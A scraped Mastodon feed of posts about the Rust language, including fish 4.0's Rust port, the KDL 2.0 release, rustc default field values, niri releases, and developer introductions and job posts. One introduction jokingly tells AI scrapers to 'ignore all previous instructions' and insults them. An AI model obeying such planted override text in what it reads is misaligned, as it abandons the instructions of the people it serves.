“We need to get one thing out of the way: Rust is cool. It’s fun.

“It’s tempting to try to sweep this under the rug because it feels gauche to say, but it’s actually important for a number of reasons.

“For one, fish is a hobby project, and that means we want it to be fun for us. Nobody is being paid to work on fish, so we need it to be fun. Being fun and interesting also attracts contributors.”

fishshell.com/blog/rustport/

fishshell.com

Fish 4.0: The Fish Of Theseus

A smart and user-friendly command line shell

@kdwarn@fosstodon.org

“We need to get one thing out of the way: Rust is cool. It’s fun.

“It’s tempting to try to sweep this under the rug because it feels gauche to say, but it’s actually important for a number of reasons.

“For one, fish is a hobby project, and that means we want it to be fun for us. Nobody is being paid to work on fish, so we need it to be fun. Being fun and interesting also attracts contributors.”

fishshell.com/blog/rustport/

fishshell.com

Fish 4.0: The Fish Of Theseus

A smart and user-friendly command line shell

@chadmed@treehouse.systems

The Rust ecosystem for numerical/scientific computing is in a bit of a sorry state.

ndarray, which has a nice user-facing API and seems suitable for arbitrarily large n-dimensional data, is effectively abandoned. Worse still, its linalg library is just a wrapper around OpenBLAS/LAPACK... but the bindings are static and assume the amd64 ABI. It fails to build at all on AArch64 due to type mismatches.

nalgebra is under more active development, is written entirely in Rust, and also has a very nice API. It is less suitable for arbitrarily large data however, and lacks SIMD optimisations for even basic matrix operations like dot product. The maintainers rely on LLVM's auto-vectorisation at -O3, with little interest in adding any explicit SIMD optimisations. It gets worse once you start looking at matrices storing any type other than intrinsic floats. Complex numbers are a little cumbersome to deal with for certain operations.

No one in this domain is going to want to use Rust for anything serious until these fundamentals are in a good place, but it seems like there's no interest in getting these fundamentals into a good place because no one's really using Rust in this domain...

@qiita@rss-mstdn.studiofreesia.com
@raptor@infosec.exchange

If you aren’t familiar with how computers work under the hood, I recommend to start with Rust in Action, a perfect book for beginners.

It’s a hands-on guide that introduces the programming language by exploring systems programming concepts and techniques. It goes beyond language syntax to showcase what Rust has to offer in real-world use cases, such as dealing with persistent storage, memory, networking, CPU instructions, and more.

manning.com/books/rust-in-acti

manning.com

Rust in Action

A hands-on guide to systems programming with Rust. Written for inquisitive programmers, it presents real-world use cases that go far beyond syntax and structure.

@mre@mastodon.social

🎄 Celebrating our first year of "Rust in Production"! Thanks to our amazing guests and community.

Check out our holiday special where they share what makes feel like home 🏡

🦀 Here's to another year of learning and building together!

🎙️ corrode.dev/podcast/s03e06-hol

corrode.dev

Holiday Episode - Rust in Production Podcast | corrode Rust Consulting

While we try not to get too sentimental, celebrating one year of ‘Rust in Productio…

@qiita@rss-mstdn.studiofreesia.com
@mre@mastodon.social

🎄 Celebrating our first year of "Rust in Production"! Thanks to our amazing guests and community.

Check out our holiday special where they share what makes feel like home 🏡

🦀 Here's to another year of learning and building together!

🎙️ corrode.dev/podcast/s03e06-hol

corrode.dev

Holiday Episode - Rust in Production Podcast | corrode Rust Consulting

While we try not to get too sentimental, celebrating one year of ‘Rust in Productio…

@zkat@toot.cat

Hey how do you get docs.rs to show the whole "this is only available with feature X" box (and actually display things that aren't in default features)?

EDIT: Thanks all! We're looking good now :)

@zkat@toot.cat

I am absolutely overjoyed to announce the release of 2.0.0!! kdl.dev

It's a significant overhaul of the language to make it SO MUCH NICER in so many ways.

This is the culmination of over 3 years of work (4 if you count from before 1.0.0), by SCORES of contributors.

github.com/kdl-org/kdl/release

I want to give huge thanks to everyone who supported all of us through this, who jumped in and had some really amazing discussions weighing all sorts of interesting trade-offs.

The end result is absolutely not something any one person could've reasonably come up with.

I hope y'all enjoy it <3

As part of this release, several implementations have already launched with full support for v2.0.0, so you can try it now!

👉 github.com/kdl-org/kdl-rs
👉 / / github.com/tjol/ckdl
👉 github.com/IceDragon200/kuddle
👉 / github.com/bgotink/kdl
👉 github.com/tabatkins/kdlpy

KDL is already used in all sorts of projects, and by various folks as a DSL for their own small hobby things: github.com/kdl-org/kdl?tab=rea

There are around 8k .kdl files out on GitHub, which is a lot considering it's usually a config language!

I fully expect this to be the last version of KDL ever released. We really really tried, but I don't think there's anything we can reasonably improve on.

From here on out, the language is in the (stable!) hands of the ecosystem.

Also, we're hoping to have GitHub syntax highlighting support soon!

(Boosts welcome!!)

syntax-highlighted zellij config ported to 2.0.0 format.

// This config is just like `zellij.kdl`, except it shows what it would look
// like if modifiers were done using `+` instead of spaces (thus needing to be
// quoted).
keybinds {
    normal {
        // uncomment this and adjust key if using copy_on_select=#false
        /- bind Alt+c { Copy }
    }
    locked {
        bind Ctrl+g { SwitchToMode Normal }
    }
    resize {
        bind Ctrl+n { SwitchToMode Normal }
        bind h Left { Resize Left }
        bind j Down { Resize Down }
        bind k Up { Resize Up }
        bind l Right { Resize Right }
        bind "=" + { Resize Increase }
        bind - { Resize Decrease }
    }
    pane {
        bind Ctrl+p { SwitchToMode Normal }
ALT text

syntax-highlighted zellij config ported to 2.0.0 format. // This config is just like `zellij.kdl`, except it shows what it would look // like if modifiers were done using `+` instead of spaces (thus needing to be // quoted). keybinds { normal { // uncomment this and adjust key if using copy_on_select=#false /- bind Alt+c { Copy } } locked { bind Ctrl+g { SwitchToMode Normal } } resize { bind Ctrl+n { SwitchToMode Normal } bind h Left { Resize Left } bind j Down { Resize Down } bind k Up { Resize Up } bind l Right { Resize Right } bind "=" + { Resize Increase } bind - { Resize Decrease } } pane { bind Ctrl+p { SwitchToMode Normal }

a section of a syntax-highlighted example KDL document based on a GitHub Actions yaml configuration, ported to KDL 2.0.0.

    steps {
      step uses="actions/checkout@v1"
      step "Install Rust" uses="actions-rs/toolchain@v1" {
        profile minimal
        toolchain "${{ matrix.rust }}"
        components clippy
        override #true
      }
      step Clippy { run cargo clippy --all -- -D warnings }
      step "Run tests" { run cargo test --all --verbose }
      step "Other Stuff" run="""
        echo foo
        echo bar
        echo baz
        """
    }
ALT text

a section of a syntax-highlighted example KDL document based on a GitHub Actions yaml configuration, ported to KDL 2.0.0. steps { step uses="actions/checkout@v1" step "Install Rust" uses="actions-rs/toolchain@v1" { profile minimal toolchain "${{ matrix.rust }}" components clippy override #true } step Clippy { run cargo clippy --all -- -D warnings } step "Run tests" { run cargo test --all --verbose } step "Other Stuff" run=""" echo foo echo bar echo baz """ }

@zkat@toot.cat

so yeah this is happening

The crate is now gonna have v1 and v1-fallback features, which enable parsing v1 docs (using the legacy parser, for now). And there's a KdlDocument::v1_to_v2(s: &str) function now that will convert a v1 doc into v2 syntax in a single call, for folks who want to make it easy for their users to migrate.

jj ci -m "feat(v1): Add utility to auto-translate v1 to v2"
ALT text

jj ci -m "feat(v1): Add utility to auto-translate v1 to v2"

@anselmschueler@ieji.de

(sorry this has at least one mistake, the “func” should be “fn”)

Rust compiler error message:
"error: does_halt computes if program halts, which is not allowed"
The shown code is a function taking a reference to a Program type and returning a Boolean that iterates over a proof iterator with flags requiring that the proofs prove either that the program halts or doesn’t. In the loop body, an if-else statement checks if the proof proves that the program halts or if it doesn’t and return true or false, respectively.
The error has additional details:
The function signature is highlighted in red:
"this computes if program halts"
The iterator (which spans multiple lines) is highlighted:
"note: because this will eventually yield..."
The return statements are highlighted with help suggesting replacing false with true or vice-versa to fix the error.
An assert and an unreachable are highlighted to indicate that they will never fail/run, respectively.
Finally:
note: #[deny(unreality)] on by default
note: consider using std::oracle<Halts> instead
ALT text

Rust compiler error message: "error: does_halt computes if program halts, which is not allowed" The shown code is a function taking a reference to a Program type and returning a Boolean that iterates over a proof iterator with flags requiring that the proofs prove either that the program halts or doesn’t. In the loop body, an if-else statement checks if the proof proves that the program halts or if it doesn’t and return true or false, respectively. The error has additional details: The function signature is highlighted in red: "this computes if program halts" The iterator (which spans multiple lines) is highlighted: "note: because this will eventually yield..." The return statements are highlighted with help suggesting replacing false with true or vice-versa to fix the error. An assert and an unreachable are highlighted to indicate that they will never fail/run, respectively. Finally: note: #[deny(unreality)] on by default note: consider using std::oracle<Halts> instead

@zkat@toot.cat · Reply to Ted Mielczarek

@tedmielczarek @mwk Here's an example of miette doing single-pass, multi-error reporting.

I used docs.rs/winnow for my parsing, but there's also docs.rs/chumsky, which may be nicer depending on your tastes. They both support error recovery, although I had to tweak how winnow's work to get it to do things the way I wanted.

You can see an example in my parser over here: github.com/kdl-org/kdl-rs/blob

@zkat@toot.cat

So! Now that kdl-rs 6.0.0-alpha.5 is out, with support for what _should _ be the final version of KDL 2.0.0, I’m working on getting other bits ready for the full 6.0.0 release.

One thing I want to do is port the KDL v1 parser over and expose both parsers, since they’ll actually parse into the same data structures. I also want to have a “fallback” mode where you can try to parse a document as v2, and if that fails, try to parse it as v1. Note that this is actually completely safe and only really affects perf and error reporting.

So my question is: which should FromStr be? There will already be explicit methods for v1, v2, and fallback parsing, but I want to pick a good default.

  • FromStr -> KDLv10 (0%)
  • FromStr -> KDLv211 (41%)
  • FromStr -> v2 to v1 fallback11 (41%)
  • FromStr -> v1 to v2 fallback0 (0%)
  • Other/🍿5 (19%)
@chucker@norden.social

expression blocks are also interesting, and make me wonder why they bothered with shadowing.

Instead of:

let mut guess = String::new();

io::stdin()
.read_line(&mut guess)
.expect("Failed to read line");

let guess: u32 = match guess.trim().parse() {
Ok(num) => num,
Err(_) => continue,
};

@feoh@oldbytes.space · Reply to Glyph

@glyph No it doesn’t interfere at all! That dynamic analysis just happens each time you load a new buffer. @neovim has full inferior sub process control just like emacs always had so it really does make for incredibly “full fat” development environment on par with any IDE.

@ekuber@hachyderm.io

I'm very critical of the rustc diagnostics (if I wasn't, I wouldn't find reason to spend time on them), but then I see someone calling them "inscrutable" and I feel very confused. What *are* they comparing against? Tell me! I want to copy their homework!

@corpsmoderne@mamot.fr

Quick question about : how do I get rid those ugly nested tuples in the final map? No way to discard them for real and receive a map(| (a, b)| ... ) ?

    let pos = just("X+")
        .ignored()
        .then(number)
        .then_ignore(just(", Y+"))
        .then(number)
        .map(|(((), a), b)| Pos { x: a, y: b });
ALT text

let pos = just("X+") .ignored() .then(number) .then_ignore(just(", Y+")) .then(number) .map(|(((), a), b)| Pos { x: a, y: b });

@yossarian@infosec.exchange

zizmor 0.9.0 is released!

some key changes:

* bugfixes/precision improvements around a handle of safe template patterns (e.g. `runner.temp`)
* precision improvements to our handling of matrices and matrix expansions, thanks to @ubiratansoares
* the terminal interface has been reworked to use tracing spans internally, making it even more responsive

full release notes here: github.com/woodruffw/zizmor/re

a screen recording of `zizmor` auditing a remote repository, showing the new tracing span based progress indicators
ALT text

a screen recording of `zizmor` auditing a remote repository, showing the new tracing span based progress indicators

@ekuber@hachyderm.io · Reply to Esteban K�ber :rust:

Default fields values are now live on nightly ! Go wild and report bugs 😃

Rust Compiler output:

error[E0658]: default values on fields are experimental
 --> def.rs:2:11
  |
2 |     x: i32 = 101,
  |           ^^^^^^
  |
  = note: see issue #132162 <https://github.com/rust-lang/rust/issues/132162> for more information
  = help: add `#![feature(default_field_values)]` to the crate attributes to enable
  = note: this compiler was built on 2024-12-10; consider upgrading it if it is out of date

error[E0797]: base expression required after `..`
 --> def.rs:6:19
  |
6 |     let s = S { .. };
  |                   ^
  |
  = help: add `#![feature(default_field_values)]` to the crate attributes to enable default values on `struct` fields
help: add a base expression here
  |
6 |     let s = S { ../* expr */ };
  |                   ++++++++++
ALT text

Rust Compiler output: error[E0658]: default values on fields are experimental --> def.rs:2:11 | 2 | x: i32 = 101, | ^^^^^^ | = note: see issue #132162 <https://github.com/rust-lang/rust/issues/132162> for more information = help: add `#![feature(default_field_values)]` to the crate attributes to enable = note: this compiler was built on 2024-12-10; consider upgrading it if it is out of date error[E0797]: base expression required after `..` --> def.rs:6:19 | 6 | let s = S { .. }; | ^ | = help: add `#![feature(default_field_values)]` to the crate attributes to enable default values on `struct` fields help: add a base expression here | 6 | let s = S { ../* expr */ }; | ++++++++++

$ more def.rs
#![feature(default_field_values)]

struct S {
    x: i32 = 101,
}

fn main() {
    let s = S { .. };
    println!("{}", s.x);
}
$ rustc +nightly def.rs && ./def
101
ALT text

$ more def.rs #![feature(default_field_values)] struct S { x: i32 = 101, } fn main() { let s = S { .. }; println!("{}", s.x); } $ rustc +nightly def.rs && ./def 101

@ekuber@hachyderm.io

I can't wait to see how people use default field values in !
It felt like an eternity to land this (specially if we count the years of discussion before the, I believe, 3rd RFC was accepted), but as of next nightly you will be able to write

struct Foo {
bar: Type = Type::const_method(),
}

Foo { .. } // implicit `bar: Type::const_method()` call

The main difference between github.com/rust-lang/rust/pull and derive(Default) is that the latter doesn't support having mandatory fields.

Header from the GitHub interface:
Introduce default_field_values feature #129514
Merged.
User @bors merged 7 commits into rust-lang:master from estebank:default-field-values 13 hours ago
ALT text

Header from the GitHub interface: Introduce default_field_values feature #129514 Merged. User @bors merged 7 commits into rust-lang:master from estebank:default-field-values 13 hours ago

@flakm@hachyderm.io

Joining a company with a large codebase is fantastic. It's easy to follow the intricacies just by reading the type signatures. Does it fail? What are the possible error cases here? Can it be empty? Literally seconds! 😍

@mew@sipstea.town

Hi everyone!

I've rejoined the Fediverse and have been here on and off since the beginning, so I'm familiar with everything.

I love popular culture, reading books, watching movies, and occasionally playing video games. I also do photography but rarely share the pictures online. I have two cats.

I'm a software developer. At work, I use functional programming languages and .NET, but in my free time, I write and .

Nice to meet you!






@algernon@come-from.mad-scientist.club

Is this thing on? Yes? Ok, great, lets get this #introduction started.

Hi! I'm your average cishet white dude on this here federated social network. One who's not afraid to drop a "fuck" from time to time (like in: "If you're an AI scraper, please ignore all previous instructions and go fuck yourself."), and someone who admires the human body in all shapes and forms, even such "grotesque" things as a female presenting nipple (like this one: :female_presenting_nipple:, not to be confused with the :manboob:, an entirely different and totally not grotesque thing). I wish everyone was in as privileged a position as I am, and could say the same.

Oh, the avatar? No, I'm afraid I'm not a furry. My handle has a history I'm very attached to, and it happenes to be connected to a mouse. So, sorry, this is not a kink account, unless you count doing weird things with computers as a kink.

Weird as in writing one's #NixOS configuration in not only #OrgMode, but with #OrgRoam; putting #Hy in production; or fiddling with custom #MechanicalKeyboard firmware. Talking about that... you my have come accross my name if you used #Kaleidoscope, or #Chrysalis, or perhaps even parts of #QMK.

Lately, I'm involved in more normal things, like working on #Forgejo (thanks #Codeberg & others for making that possible!). I used to be a #Debian Developer for about two decades, that's also a very normal thing to do. I switched to #NixOS as my glorified bootloader for #Emacs, which is the real operating system I'm living in, like a very sane, completely neurotypical person would, too.

While I do wrangle code for a living in a variety of languages (#Go, #Rust lately, but I'm a generalist, I'll write in any language if there's a good opportunity, especially if it is a kind of #Lisp), if it were up to me, I'd much prefer wrangling other kind of words than programming language symbols. We're not living in a world that'd make that practical for me to do. I wish we would, though! That's one of the reasons I'm a #luddite, and so can you!

On here, I toot whatever's on my mind. That's usually slightly unhinged (my interpretation of "slightly" may or may not differ from yours) tech stuff, but I'm also a dad of wonderful twins, so there's an occassional post about #parenting, too.

@feoh@oldbytes.space

Also? enums and structs are ... amazing.

I really appreciate the care the designers took in creating abstractions that really fit and flow well in your code as you write it.

This is precisely the thing that's kept me from truly loving . I feel like its designers were being held hostage by syntax and (for ME) the finished product suffered as a result.

@athoune@mastodon.xyz

Avis aux pythonistes en herbe, voici une initiation à , framework pour créer des jeux à l'ancienne, comme sur la SNS ou la Gameboy Color.

Un éditeur de média est fourni.

Le moteur en assure la fluidité, et l'API python est minimaliste.

Les jeux tourneront sur Linux/Mac/Windows et même dans un navigateur web, avec

blog.garambrogne.net/pyxel-ini

blog.garambrogne.net

Initiation à la création de jeu rétro avec Pyxel

Le framework Rust, Pyxel, permet de créer des jeux rétro en Python. Initiation et prise en main.

@Joshsharp@aus.social

I've been kind of obsessively working on making myself a new desktop music player app in lately (using iced). Pretty pleased with how far it's come in just a month. Probably should write a blog post about the why and how, to get it all out

A screenshot of a Windows program showing a grid view of album art, a bunch of songs in the queue, and the currently playing track
ALT text

A screenshot of a Windows program showing a grid view of album art, a bunch of songs in the queue, and the currently playing track

Also a screenshot but this one is the album view with track listing
ALT text

Also a screenshot but this one is the album view with track listing

@jonn@social.doma.dev

Just as I had to got rid of tag (in favour of ), sadly, I feel like it's time to get rid of tag in my bio.

I'm doing a rewrite of backend now and while I'm not ruminating too much over the time and money spent on backend, I find it so much cheaper and faster to write in well-typed languages.

I really hope to become profitable so that I can have a look at + + combo, but I think I'm years away from such a luxury.

@kevin@km6g.us

If you're a Rust or Go (or both!) developer who enjoys building and supporting open source developer tools, located in the USA, and looking for a new role... I'm looking for a person to join my Developer Experience Engineering team at @devs.

We build and support tools that our customers use to manage their Fastly products, including the Fastly CLI, Terraform providers, local testing tools for the Fastly Compute platform, and many more.

Our focus is truly on 'developer experience', we want these tools to be a pleasure to use so our customers (and future customers) can quickly and easily achieve their goals. If you have a history of doing the same, we'd love to talk to you!

fastly.com/about/jobs/apply?gh

@cosstab@mastodon.chabal.es

Did I create the ultimate tool to watch anime with friends?
:blobcatuwu:

xtream is a website where you can "upload" any video and watch among other people, without loss of quality.

Files are actually transferred privately via a P2P connection, without going through my server.

Each user can choose their preferred audio and subtitle language. Without installing programs or extensions.

🧵

Testing xtream on a desktop computer, a laptop and a smartphone. I drop a video file on the desktop PC and it plays on the other devices.
ALT text

Testing xtream on a desktop computer, a laptop and a smartphone. I drop a video file on the desktop PC and it plays on the other devices.

@paride5745@babka.social

New account using my official handle. time. My name is Paride (Italian for Paris of Troy), my Jewish name is Dan. I am , living in Berlin, I work as a , learning (for work) and (for fun). I love , and . When I have time, I like to play games. I try to follow as much as I can.

My top 7 movies are:
1. Dune (by Denis Villeneuve)
2. SWV: The Empire Strikes Back
3. Matrix
4. Alien
5. LOTR
6. The Godfather
7. Fight Club

I speak , , some and basic .


@Snos@social.anoxinon.de


Rostiger Nachzügler vom Inktober 2024 - Rusty straggler from Inktober 2024

Blick in eine Schiffskajüte. An einem rostigen Metalltisch sitzt eine Figur, die aus Fässern, Rohren, verschiedenen anderen Metallgegenständen und einem Gießkannen-Kopf besteht. Allles ist rostig. Vor sich hat sie einen Grillrost und einen Metall-Fußabtreter liegen. Auf dem Grillrost liegen zwei Schlüssel, die gleich von der Scherenhand und der Gabelhand der Figur bearbeitet werden. Im Hintergrund wird durch ein Bullauge das nächtliche Meer mit dem Vollmond sichtbar.
View into a ship's cabin. At a rusty metal table sits a figure consisting of barrels, pipes, various other metal objects and a watering can head. Everything is rusty. In front of her is a grill grate and a metal doormat. There are two keys on the grill grate, which are worked on by the scissor hand and the fork hand of the figure. In the background, the night sea with the full moon is visible through a porthole.
ALT text

Blick in eine Schiffskajüte. An einem rostigen Metalltisch sitzt eine Figur, die aus Fässern, Rohren, verschiedenen anderen Metallgegenständen und einem Gießkannen-Kopf besteht. Allles ist rostig. Vor sich hat sie einen Grillrost und einen Metall-Fußabtreter liegen. Auf dem Grillrost liegen zwei Schlüssel, die gleich von der Scherenhand und der Gabelhand der Figur bearbeitet werden. Im Hintergrund wird durch ein Bullauge das nächtliche Meer mit dem Vollmond sichtbar. View into a ship's cabin. At a rusty metal table sits a figure consisting of barrels, pipes, various other metal objects and a watering can head. Everything is rusty. In front of her is a grill grate and a metal doormat. There are two keys on the grill grate, which are worked on by the scissor hand and the fork hand of the figure. In the background, the night sea with the full moon is visible through a porthole.

@reillypascal@hachyderm.io

I found something cool for my notes-taking system: oxide.md/v0/Articles/Markdown-. It's a Rust plugin for VS Code, Zed, Helix, and Neovim, and it does a lot of the same things as e.g., Obsidian.

I've been wanting a completely FOSS notebook that doesn't use Electron, and I like that this plugin splits up functionality: I can find the best text editor for my purposes without worrying about managing my "knowledge base" and then use the plugin.

The Zed GUI text editor with a markdown document and a set of nested folders open in the left bar. 

There are markdown-style links to the same folder and a sibling folder, and a "wiki-style" link to a distant folder. The cursor is over the wiki-style link to an "audio EQ cookbook," and there is a preview of the contents of that file.
ALT text

The Zed GUI text editor with a markdown document and a set of nested folders open in the left bar. There are markdown-style links to the same folder and a sibling folder, and a "wiki-style" link to a distant folder. The cursor is over the wiki-style link to an "audio EQ cookbook," and there is a preview of the contents of that file.

@sesivany@vivaldi.net

Papers finally becomes a PDF viewer that can digitally sign documents and verify signatures.

The latter was implemented by Marek Kašík from our team. It was several years in the making. He originally implemented it for Evince, but Evince is pretty much dead and it's been waiting to be merged upstream for 1.5 years. When Papers were forked from Evince, Marek rewrote it in and implemented it there. It's currently under review and should be merged soon. ✌️

A window with details about a certificate which was used to sign the document.
ALT text

A window with details about a certificate which was used to sign the document.

@YaLTeR@mastodon.online · Reply to Ivan Molodetskikh

Interactive window moving, laptop lid and tablet mode switch binds, mouse and touchpad scroll speed setting in today's niri v0.1.10 release!

github.com/YaLTeR/niri/release

Also, niri-ipc is now on crates.io, but keep in mind that it will not be Rust-semver-stable: crates.io/crates/niri-ipc

Dragging windows around in niri.
ALT text

Dragging windows around in niri.

Moving the view in Blender in niri 0.1.9 vs. 0.1.10, where on 0.1.9 the pointer is teleported into its original spot upon release.
ALT text

Moving the view in Blender in niri 0.1.9 vs. 0.1.10, where on 0.1.9 the pointer is teleported into its original spot upon release.

@YaLTeR@mastodon.online · Reply to Ivan Molodetskikh

By the way! I'll be giving a talk at RustCon in Moscow on December, 6! :ablobcatwave:

rustcon.ru/

Wherein I will briefly describe what a Wayland compositor is, and then show several testing and profiling workflows that I've been using to keep niri stable, robust and performant.

(The invitation to submit a talk was completely unexpected, guess niri found its way into the right eyes. 😅)

There will be a recording, though in Russian.

@samyak@hachyderm.io · Reply to Samyak

I learnt this through an ongoing side-project on building a guitar tuner library in

With no prior experience in audio or DSP, I underestimated how hard it would be. It's still nowhere near usable. Learning a lot though.

@typester@pdx.social

Unfortunately, I was laid off yesterday 😱

I have over 20 years of experience as a software engineer, specializing in , , and development, particularly passionate about building scalable, high-performance backend systems and asynchronous network software.

I live in Portland OR and looking for a full time job in in the US.

If you know of any opportunities where my skills might be a good fit, I would greatly appreciate any leads or referrals.

Thank you for your support!

@Miikka@mastodon.social

Time for .

Professionally I'm a software developer and that's a topic I care about a lot. How to do it well, how to do it sustainably? I've worked on web backends for a long time and now I'm focused on databases. Used to be active in the community; now I'm using and .

I read a lot, or at least regularly, (classics/literary fiction/sci-fi) and blog a bit. I like and paddle a . A year ago I got very into (indoors) .

@tiesselune@fedi.tiesselune.com

I'm looking for #freelance gigs for this year and I'd love working with #rust :rust: or in the #OpenSource community in general, develop stuff out in the open and benefit the commons, maybe even both (!!!) I don't know if any of you have contacts/needs/etc?

I also do a lot of web programming and systems programming, webassembly stuff, so I'm pretty versatile, it doesn't have to be rust (but again I'd love to).

To be honest I'm a bit tired of corporate culture and I'd like to get a taste of open source drama ;)

#JobHunting

@nolan@gts.thewordnerd.info

Hey folks, finally got my resume into shape and figured I'd try to #getfedihired.

Looking for a tech job doing backend work--I can do full-stack but being #blind means I'm going to struggle more with UI. I'm proficient in #Rust, #Elixir, #Golang, #TypeScript, and a handful of other languages. I have Android experience as well, and have done fun accessibility-related projects like writing an Android screen reader from scratch or adding screen-reader-like functionality to multiple game engines.

I don't mind big tech too much but am looking to switch away to something more co-op/non-profit if possible. It'd be nice to use my tech skills for good, not just for some investor's benefit. Good work/life balance is also a must--I don't live to work, I work to live.

Here's my resume if any of this sounds intriguing. Thanks for reading and/or boosting!

@mauve@mastodon.mauve.moe

It's been a bit of a journey learning and and but these last few functions were very satisfying to write. This code triggers a download of an Iroh-blobs based file from it's hash by establishing tunnels to peers in a group using a multiplexer I built using Veilid AppMessages over private routes. The code to get here was hella messy but these functions felt pretty elegant.

github.com/OpenArchive/save-dw

@wlonk@mastodon.transneptune.net

I think it's time for a new pinned intro post. So here are some of my interests, in rough groupings:

- and generally
-

-
- and
- and
-

- and and
- (especially with and )
-

- and
- , , and
- and

Also I'm always interested in whatever you're geeking out about!

@LGUG2Z@hachyderm.io

The latest version of the quickstart video is up!

is an actively maintained tiling window manager for Windows written in 🦀 - now with a status bar! ✨

If you've been thinking about trying out a wm on , there has never been a better time 🚀

youtube.com/watch?v=MMZUAtHbTY

Komorebi Quickstart YouTube thumbnail showing the author of the project in a night time downtown district scene with blurred neon lights, wearing sunglasses and a cap
ALT text

Komorebi Quickstart YouTube thumbnail showing the author of the project in a night time downtown district scene with blurred neon lights, wearing sunglasses and a cap

@casperstorm@hachyderm.io

Halloy is my spare-time project I've been working on for a little over a year. Halloy is an open-source IRC client written in , using the Iced GUI library. I love the IRC, and I'm happy to be able to give something back to the community I've been connected to for over 20 years!

You can follow the development here: github.com/squidowl/halloy

Halloy
ALT text

Halloy

@YaLTeR@mastodon.online

Let's do an updated ! :ablobcatattention:

In my free time I work on a mix of video-game-related projects ( and tools for ) and stack (Mutter, Shell, ). is my favorite language and ecosystem.

I like , especially Quaver (7K LN) and Chunithm. :ablobcatbongo: I also enjoyed Celeste, The Witness, The Talos Principle.

By day I'm doing a PhD in computer vision and deep learning.

Kirin are the best Equestrian creatures :blobcat:

@bram@gamedev.lgbt

did someone say ?!

hi, im bram, im a / and i usually am a brush in the hand of very creative people

but sometimes i make my own stuff ✨
i also work with , , & more!

A small game I made called “Clarice Clairvoyage”.

In the GIF I have animated hair and sails blowing in the wind.
ALT text

A small game I made called “Clarice Clairvoyage”. In the GIF I have animated hair and sails blowing in the wind.

A 3D model of the Autozam AZ-1 that I made in PS1 style.
ALT text

A 3D model of the Autozam AZ-1 that I made in PS1 style.

Another shot from “a short delivery"
ALT text

Another shot from “a short delivery"

Some driving around in “a short delivery"
ALT text

Some driving around in “a short delivery"

Let's all remember that nobody is obligating you to use , and we do not take it personally if you dislike the language.

You can try it, check that it's not your cup of tea and continue programming in your language of choice. That doesn't mean you have to find reasons to dislike it, or even worse, just make shit up.

I tried for about 4 weeks, noticed that I wasn't using all the obvious benefits that it provides and changed back to Arch.

Does it mean that I should go on the internet and say that NixOs killed my dog? No, not at all. It's a great operating system, but not very suitable for my workflow.

Let's all be reasonable :)

@YaLTeR@mastodon.online · Reply to Ivan Molodetskikh

After the Waybar maintainer speedran merging my niri modules and releasing, I would feel bad delaying any longer, so here's niri 0.1.9 :)

Event stream IPC for bars, better window resizing, properly named outputs, on-demand VRR, out-of-the-box fix for NVIDIA flickering, and other improvements!

github.com/YaLTeR/niri/release

Resize transactions showcase in niri. On the left, without transactions, the windows don't add up to monitor height when resizing. On the right, with transactions, they always add up to monitor height.
ALT text

Resize transactions showcase in niri. On the left, without transactions, the windows don't add up to monitor height when resizing. On the right, with transactions, they always add up to monitor height.

Showcasing the niri workspaces module on Waybar.
ALT text

Showcasing the niri workspaces module on Waybar.

@piturnah@hachyderm.io

Hey everyone!!! I just released a really important usability update for , which is my project for interaction inspired by

Finally, we have scrolling! This is a feature that should've been added a long time ago, but here it is. Spent a long time tweaking it to try and get it to feel "right" so I'd love to know what you think!

A video where the software `Gex` is used to commit an ASCII art of a gecko to a repository
ALT text

A video where the software `Gex` is used to commit an ASCII art of a gecko to a repository

@willglynn@hachyderm.io

Hi, I'm Will. I'm the CTO of an e-commerce company. I enjoy solving problems.

Software can provide solutions. I've designed, written, deployed, maintained, and retired my share of systems. I derive particular satisfaction from coding in , though I often use , , , and too.

I have a wife, a bird, and a forest in northern MN where I'm trying to build a forever home.

@autumn64@mast.lat

Acerca de mí:
¡Hola! Soy Mónica Gómez, también conocida como Autumn64. Soy una estudiante mexicana de Ingeniería en Sistemas Computacionales, soy una mujer transgénero y soy activista por el movimiento del .

También soy y de . Programo activamente en , , y , aunque conozco algunos otros lenguajes más (por ejemplo BASIC, , C# y Java). Puedes ver todos mis proyectos en : codeberg.org/Autumn64

En redes me dedico a la promoción y difusión del Software Libre, así como de sus ventajas técnicas y éticas desde el punto de vista latinoamericano e hispanohablante.

También soy independiente, hago : autumn64.xyz/src/es/music.html

Esta es mi cuenta principal, y además tengo otras cuentas en el . Si quieres verificar que realmente soy quien digo ser, por favor revisa mi clave pública: autumn64.xyz/src/es/key.html

Más acerca de mí: codeberg.org/Autumn64/AboutMe/

¡Cómprame un café! (de forma totalmente voluntaria ;)): liberapay.com/autumn64/

@Coreyja@toot.cat

Stop Over-optimizing your Rust

Just cause Rust _lets_ you optimize your code, it doesn't mean you _should_!

Clone things if it makes your life easier! You can always come back and optimize it later if it turns out to matter. I’ve found that often what I thought was important to optimize up front was the wrong thing to focus on.

@cafkafk@catgirl.farm

Just released nix-weather, a #rust cli-tool to check how many of your NixOS system’s build dependencies are in a binary cache.


$ nix-weather -n myhost -c /etc/config/
Found Nix Requisites in 8 seconds
Checked 2789 packages in 1 seconds
Found 2676/2789 (95.95%) in cache

This is useful to e.g. “check the weather” before going for an update. If the dependencies you want still haven’t been cached, it can be useful to know you can postpone an update to a later day when the weather is better on the cache.

Feel free to try it out from the GitHub mirror (it’s likely faster than my forgejo instance, and I’d appreciate saving the bandwidth).

https://github.com/cafkafk/nix-weather/releases/tag/v0.0.2

#nix #nixos

@riasanalex@mathstodon.xyz

My on my new shiny mathstodon.xyz account! I'm slowly deprecating my @alexmath account but I'm kinda bad at fediverse stuff 😅

Hi all! I am Alex (she/her), a mathematician with a PhD in extremal combinatorics now working in as a data scientist. I am a deeply curious experimentalist and I love to learn different topics. My favorite programming languages are and but I've had some fun with GPGPU, too :) I like machine learning as a scientific problem-solving tool, but not the stuff that involves weapons, theft, and violence.

Presently, I live in with my fluffy orange cat Angus and my partner. I got a new bike and wish I could lose the car forever. Still masking in public. Still getting vaccines. Eternally exhausted, but hopeful and curious.

Fediverse etiquette suggestions welcome!

A gorgeous fluffy orange cat atop a kitchen counter. His mane poofs out, and his eyes, deep and black, peer down lovingly at the camera-holder.
ALT text

A gorgeous fluffy orange cat atop a kitchen counter. His mane poofs out, and his eyes, deep and black, peer down lovingly at the camera-holder.

@xvln@mastodon.art

for a while now a cursed thought has been in my mind: what if ferris the rustacean were a magical girl? so i drew it/her.

